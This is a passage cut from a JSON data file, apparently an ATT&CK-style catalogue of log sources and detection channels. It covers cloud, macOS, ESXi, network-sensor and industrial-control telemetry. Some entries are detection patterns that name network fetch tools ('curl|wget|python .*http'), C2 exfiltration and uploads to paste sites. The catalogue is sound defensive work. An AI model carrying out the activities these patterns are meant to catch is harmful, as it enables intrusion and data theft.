                            "channel": "Inspected application-package retrieval transaction, where authorized content inspection exposes the URL, response, or package type"
                        },
                        {
                            "name": "ALB:HTTPLogs",
                            "channel": "AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts"
                        },
                        {
                            "name": "apache:access_log",
                            "channel": "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders"
                        },
                        {
                            "name": "API:ConfigRepoAudit",
                            "channel": "Access to configuration repository endpoints, unusual enumeration requests or mass downloads"
                        },
                        {
                            "name": "auditd:SYSCALL",
                            "channel": "setsockopt, ioctl modifying ARP entries"
                        },
                        {
                            "name": "AWS:VPCFlowLogs",
                            "channel": "Traffic between instances"
                        },
                        {
                            "name": "AWS:VPCFlowLogs",
                            "channel": "Large volume of malformed or synthetic payloads to application endpoints prior to failure"
                        },
                        {
                            "name": "AWS:VPCFlowLogs",
                            "channel": "Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs"
                        },
                        {
                            "name": "AWS:VPCFlowLogs",
                            "channel": "High volume internal-to-internal IP transfer or cross-account cloud transfer"
                        },
                        {
                            "name": "azure:activity",
                            "channel": "networkInsightsLogs"
                        },
                        {
                            "name": "azure:vpcflow",
                            "channel": "HTTP requests to 169.254.169.254 or Azure Metadata endpoints"
                        },
                        {
                            "name": "container:proxy",
                            "channel": "outbound/inbound network activity from spawned pods"
                        },
                        {
                            "name": "dns:querylog",
                            "channel": "Domain Name System (DNS) query from Industrial Control Systems (ICS) host to domain not in approved vendor domains, particularly domains exhibiting Domain Generation Algorithm (DGA)-like patterns"
                        },
                        {
                            "name": "docker:events",
                            "channel": "remote API calls to /containers/create or /containers/{id}/start"
                        },
                        {
                            "name": "docker:stats",
                            "channel": "unusual network TX/RX byte deltas"
                        },
                        {
                            "name": "ebpf:syscalls",
                            "channel": "Process within container accesses link-local address 169.254.169.254"
                        },
                        {
                            "name": "EDR:hunting",
                            "channel": "Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents"
                        },
                        {
                            "name": "esxcli:network",
                            "channel": "Socket sessions with randomized payloads inconsistent with TLS"
                        },
                        {
                            "name": "esxcli:network",
                            "channel": "listening sockets bound to non-standard ports"
                        },
                        {
                            "name": "esxcli:network",
                            "channel": "listening sockets bound with non-standard encapsulated protocols"
                        },
                        {
                            "name": "esxcli:network",
                            "channel": "Socket inspection showing RSA key exchange outside baseline endpoints"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "Network activity"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "Outbound traffic using encoded payloads post-login"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "HTTPS POST connections to webhook endpoints"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "Inspection of sockets showing encrypted sessions from non-baseline processes"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "HTTPS POST connections to pastebin-like domains"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "network stack module logs"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "Suspicious traffic filtered or redirected by VM networking stack"
                        },
                        {
                            "name": "esxi:vmkernel",
                            "channel": "VMCI syslog entries"
                        },
                        {
                            "name": "esxi:vob",
                            "channel": "NFS/remote access logs"
                        },
                        {
                            "name": "etw:Microsoft-Windows-NDIS-PacketCapture",
                            "channel": "TLS Handshake/Network Flow"
                        },
                        {
                            "name": "etw:Microsoft-Windows-WinINet",
                            "channel": "HTTPS Inspection"
                        },
                        {
                            "name": "etw:Microsoft-Windows-WinINet",
                            "channel": "WinINet API telemetry"
                        },
                        {
                            "name": "gcp:audit",
                            "channel": "network.query*"
                        },
                        {
                            "name": "gcp:vpcflow",
                            "channel": "first 5m egress to unknown ASNs"
                        },
                        {
                            "name": "IDS:TLSInspection",
                            "channel": "Malformed certs, incomplete asymmetric handshakes, or invalid CAs"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Per-app VPN flow logging indicating opaque/archived payload transfer preceding local decode"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "Per-App VPN flow with code-like content types (application/octet-stream, application/zip, text/javascript, application/x-mach-o)"
                        },
                        {
                            "name": "iOS:unifiedlog",
                            "channel": "WKWebView navigation to domain visually similar to target brand (IDN/punycode/alike score)"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "Query to suspicious domain with high entropy or low reputation"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "curl|wget|python .*http"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "Unexpected SQL or application log entries showing tampered or malformed data"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "Integrity mismatch warnings or malformed packets detected"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "DNS response IPs followed by connections to non-standard calculated ports"
                        },
                        {
                            "name": "linux:syslog",
                            "channel": "Multiple NXDOMAIN responses and high entropy domains"
                        },
                        {
                            "name": "m365:office",
                            "channel": "External HTTP/DNS connection from Office binary shortly after macro trigger"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "process + network metrics correlation for bandwidth saturation"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "DNS query with pseudo-random subdomain patterns"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "network flow"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "curl|osascript.*open location"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "subsystem: com.apple.network"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "open URL|clicked link|LSQuarantineAttach"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "None"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Connections to suspicious domains with mismatched certificate or unusual patterns"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "HTTP POST with encoded content in user-agent or cookie field"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "log stream (subsystem: com.apple.system.networking)"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Encrypted connection with anomalous payload entropy"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Rapid incoming TLS handshakes or HTTP requests in quick succession"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "network, socket, and http logs"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "DNS responses followed by connections to ports outside standard ranges"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Persistent outbound traffic to mining domains"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Encrypted session initiation by unexpected binary"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "eventMessage = 'promiscuous'"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "outbound HTTPS connections to code repository APIs"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "eventMessage = 'open', 'sendto', 'connect'"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "dns-sd, mDNSResponder, socket activity"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "process + network activity"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "subsystem=com.apple.WebKit"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "subsystem: com.apple.WebKit or com.apple.WebKit.Networking"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "encrypted outbound traffic carrying unexpected application data"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Persistent outbound connections with consistent periodicity"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "TLS connections with abnormal handshake sequence or self-signed cert"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "Web server process initiating outbound TCP connections not tied to normal server traffic"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "outbound TLS connections to cloud storage providers"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "outbound HTTPS connections to cloud storage APIs"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "process, network"
                        },
                        {
                            "name": "macos:unifiedlog",
                            "channel": "process = 'ssh' OR eventMessage CONTAINS 'ssh'"
                        },
                        {
                            "name": "Netfilter/iptables",
                            "channel": "Forwarded packets log"
                        },
                        {
                            "name": "Network Traffic",
                            "channel": "None"
                        },
                        {
                            "name": "networkconfig ",
                            "channel": "interface flag PROMISC, netstat | ip link | ethtool"
                        },
                        {
                            "name": "networkdevice:config",
                            "channel": "NAT table modification (add/update/delete rule)"
                        },
                        {
                            "name": "NetworkDevice:IDS",
                            "channel": "DoH/DoT identification, SNI/HTTP host when observable, DNS tunneling signatures"
                        },
                        {
                            "name": "networkdevice:IDS",
                            "channel": "content inspection / PCAP / HTTP body"
                        },
                        {
                            "name": "networkdevice:syslog",
                            "channel": "ACL/Firewall rule modification or new route injection"
                        },
                        {
                            "name": "networkdevice:syslog",
                            "channel": "config change (e.g., logging buffered, pcap buffers)"
                        },
                        {
                            "name": "networkdevice:syslog",
                            "channel": "Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests"
                        },
                        {
                            "name": "networkdevice:syslog",
                            "channel": "Authentication failures or unusual community string usage in SNMP queries"
                        },
                        {
                            "name": "NSM:Connections",
                            "channel": "Symmetric encryption detected without TLS handshake sequence"
                        },
                        {
                            "name": "NSM:Connections",
                            "channel": "TLS handshake + HTTP headers"
                        },
                        {
                            "name": "NSM:Connections",
                            "channel": "Abnormal certificate chains or non-standard ports carrying TLS"
                        },
                        {
                            "name": "NSM:Connections",
                            "channel": "Unusual POST requests to admin or upload endpoints"
                        },
                        {
                            "name": "NSM:Connections",
                            "channel": "Outbound connections to internal enterprise services exhibiting anomalous protocol behavior, malformed sessions, or exploit-consistent traffic patterns"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Pub/sub protocol, client ID, topic/queue and message metadata when observable"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Protocol identification; MQTT CONNECT/SUBSCRIBE/PUBLISH, AMQP/DDS metadata where parsable"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "MQTT/AMQP/DDS protocol and message metadata when visible"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "MQTT/AMQP/DDS protocol identification, broker/topic/client metadata when visible"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "SSL Certificate Metadata"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "HTTP Header Metadata"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "TLS Fingerprint and Certificate Analysis"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Traffic on RPC DRSUAPI"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "session on firmware-capable port exceeds session size threshold from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "firmware write service targeting specific slot/rack address from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "large session on firmware-capable port from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write/control command traffic from source not in approved Supervisory Control and Data Acquisition (SCADA) servers directed at multiple distinct device IPs within rogue master time window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "task/organization-block modification service from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "S7comm Download Block / Common Industrial Protocol (CIP) Download Program / Distributed Network Protocol (DNP3) program file transfer to device_ip from source not in engineering workstation list within mode change to download window of mode-change event"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write to existing program block address from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "download of block address not previously present in device program inventory, from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "decoded ICS protocol unsolicited response or OPC UA data-change message for a device/address not normally owned by the observed source"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "decoded ICS protocol write/setpoint operation to a control/output address from a client identity or source not in the approved control-application baseline"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "OPC UA Browse/BrowseNext request to namespace or system-information objects from a client identity or source not in the approved monitoring baseline"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "source not in approved Supervisory Control and Data Acquisition (SCADA) servers issuing reads covering sequential address ranges across multiple device Internet Protocol (IP) addresses within auto collection time window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "malformed Protocol Data Unit (PDU) rate to device_ip exceeds threshold within detection window from source not in approved Supervisory Control and Data Acquisition (SCADA) server list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "EtherNet/IP ListIdentity broadcast or sequential Industrial Control System (ICS) protocol connection attempts across Internet Protocol (IP) range from source not in approved Supervisory Control and Data Acqusition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "structurally valid Industrial Control System (ICS) protocol message from source not in approved communication baseline for the destination device_ip"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "read-only function codes from source not in approved Supervisory Control and Data Acquisition (SCADA) servers at rate exceeding baseline poll rate or covering address ranges outside known tag ranges"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Open Platform Communications Unified Architecture (OPC UA) BrowseNamespace or Distributed Network Protocol 3 (DNP3) object 0 all-variation read or Common Industrial Protocol (CIP) Get_Attributes_All from source not in approved Supervisory Control and Data Acquisition (SCADA) servers, covering above namespace coverage threshold percent of device tag space"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Generic Object Oriented Substation Event (GOOSE) dataset stNum value decreases (replay indicator) or test-mode bit asserted on protection relay without scheduled maintenance"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "mode-change service from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write to alarm threshold address range from source not in approved write sources with new value outside safe alarm threshold range"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write/operate command targeting safety-critical output addresses from source not in approved Supervisory Control and Data Acquisition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "restart/reset service from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "firmware-update-mode activation service from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write function code to same register address at rate exceeding max write rate per point within brute force detection window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write function code (FC 6/16) to setpoint address range with value outside baseline value range, or from source not in approved write sources"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "device authentication session from source Media Access Control (MAC)/Internet Protocol (IP) address not enrolled as authorized engineering workstation, with valid credential"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "authentication success using credential matching default vendor credential list from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "credential/access code change command from source not in approved security admin list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "device authentication success using credential pattern matching known hardcoded credential patterns from source not in approved access list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "authentication success using credential matching default vendor credential list or known hardcoded credential patterns from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "restart/reset service from source not in engineering workstation list, with more than one device receiving the command within bulk restart time window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "GetIdentity/Identity Object response vendor/product string does not match enrolled asset inventory for device_ip"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "CIP Port Object Get_Attribute_All or topology query from source not in approved Supervisory Control and Data Acquisition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "EtherNet/IP ListIdentity or Modbus broadcast from source Media Access Control (MAC) address not in approved device inventory"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Internet Group Management Protocol (IGMP) join or Generic Object Oriented Substation Event (GOOSE) multicast subscription from source Media Access Control (MAC) address not in approved device inventory"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Hypertext Transfer Protocol (HTTP) request to device management web interface with exploit-pattern payload from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "protocol-level latency inconsistent with direct communication, or Media Access Control (MAC)/Internet Protocol (IP) address binding change for device_ip"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "transaction identifier reuse pattern or function-code distribution deviates from established per-device baseline within Adversary in the Middle (AiTM) correlation window of the Media Access Control (MAC) address binding change"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "single session reads address range covering above full image coverage threshold percent of device total Input/Output (I/O) space, from source not in approved Supervisory Control and Data Acquisition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write/control method invocation from client identity not in approved application list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "malformed or oversized Industrial Control System (ICS) protocol message from unexpected source followed by device behavioral anomaly (reboot, mode change) within a short window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "malformed or exploit-payload data via built-in communication interface from external source"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "vendor diagnostic function code with payload matching code execution pattern from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "anomalous protocol exchange preceding device behavioral change (reboot, altered configuration)"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "deterministic function code response content diverges from the device's established per-function response baseline without a corresponding firmware update event"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "bulk read of configuration/data dictionary objects from source with no prior session history with this device"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "event buffer clear or log clear service from source not in engineering workstation list, correlated with preceding suspicious activity on the same device"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "reserved or vendor-specific function code accessing device registers directly from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "bulk configuration/program object read from source with no prior configuration-read session history"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Initialize_Memory or MEMORY_RESET service from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "S7comm Upload Block / Common Industrial Protocol (CIP) Read Program session from source not in engineering workstation list with bytes_recv exceeding program upload size threshold"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "S7comm SZL Central Processing Unit (CPU)-state read or Common Industrial Protocol (CIP) Identity Object state attribute read from source not in approved Supervisory Control and Data Acquisition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "SZL module inventory, Identity Object, or Device Attributes query from source not in approved Supervisory Control and Data Acquisition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "S7comm Upload ALL or Common Industrial Protocol (CIP) full program upload from source not in engineering workstation list, bytes_recv exceeding full upload size threshold"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "online block edit service from source not in engineering workstation list outside change control window, with device remaining in RUN mode throughout"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Virtual Network Computing (VNC) connection or screen-capture Hypertext Transfer Protocol (HTTP) request to embedded Human-Machine Interface (HMI) panel from source not in approved operator workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Virtual Network Computing (VNC) or remote console session to embedded Human-Machine Interface (HMI) panel from source not in approved management Classless Inter-Domain Routing (CIDR) subnet"
                        },
                        {
                            "name": "NSM:DNS",
                            "channel": "Native DNS query/response content: long/encoded labels, TXT use, unusual query structure"
                        },
                        {
                            "name": "NSM:DNS",
                            "channel": "Native DNS query/response content"
                        },
                        {
                            "name": "NSM:DNS",
                            "channel": "DNS query/response metadata and content"
                        },
                        {
                            "name": "NSM:DNS",
                            "channel": "Device DNS query/response content"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "TLS/HTTP inspection"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "Anomalous TCP SYN or ACK spikes from specific source or interface"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "Outbound encrypted traffic"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "ICMP/UDP protocol anomaly"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "mqtt.log / xmpp.log (custom log feeds)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "mqtt.log or AMQP custom log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "mqtt.log, xmpp.log, amqp.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "TCP/UDP"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "TCP session tracking"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Captured packet payloads"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "session behavior"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "External C2 channel over TLS"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http/file-xfer: Inbound/outbound transfer of ELF shared objects"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log, files.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "unexpected network activity initiated shortly after shell session starts"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log, ssl.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log, conn.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "SPAN or port-mirrored HTTP/S"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log, ssl.log, websocket.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Browser connections to known C2 or dynamic DNS domains"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Session History Reset"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP "
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP/TLS Logs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Suspicious URL patterns, uncommon TLDs, URL shorteners"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Suspicious GET/POST; downloader patterns"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "SSH logins or scp activity"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "remote login and transfer"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "conn.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Suspicious long-lived or reattached remote desktop sessions from unexpected IPs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP payloads with SQLi/LFI/JNDI/deserialization indicators"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "outbound egress from web host after suspicious request"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Requests towards cloud metadata or command & control from pod IPs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Connections to TCP 427 (SLP) or vCenter web services from untrusted sources"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "NetFlow/sFlow for odd egress to Internet from mgmt plane"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "packet capture or DPI logs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "SMB2_LOGOFF/SMB_TREE_DISCONNECT"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Unusual Base64-encoded content in URI, headers, or POST body"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Base64 strings or gzip in URI, headers, or POST body"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound to 22/5900/8080 and follow-on internal connections."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: HTTP body contains long Base64 sections"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: Base64/MIME looking payloads from ESXi host IP"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "LDAP Bind/Search"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "LDAP Query"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "smtp.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "smtp.log, conn.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "remote CLI session detection"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log, ftp.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "PCAP inspection"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "large HTTPS POST requests to webhook endpoints"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed \u2264TimeWindow by outbound SF from same host to src_ip."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound one-off packet to uncommon port \u2192 outbound SF to same src_ip within TimeWindow."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "large upload to firmware interface port or path"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log + http.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http/file-xfer: Outbound transfer of large video-like MIME types soon after capture"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Outbound SCP, TFTP, or FTP sessions carrying configuration file content"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Session Transfer Content"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Captured File Content"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "C2 exfiltration"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Transferred file observations"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http::post: Outbound HTTP POST from host shortly after DB export activity"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http::request: Network connection to package registry or C2 from interpreter shortly after install"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http::request: Outbound HTTP initiated by Python interpreter"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "large HTTPS POST requests to text storage domains"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Unexpected ARP replies or DNS responses inconsistent with authoritative servers"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "TLS downgrade or inconsistent DNS answers"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "conn.log or http.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: suspicious long tokens with custom alphabets in body/headers"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: HTTP bodies from ESXi host IPs containing long, non-standard tokens"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Egress to non-approved networks from host after terminal exec"
                        },
                        {
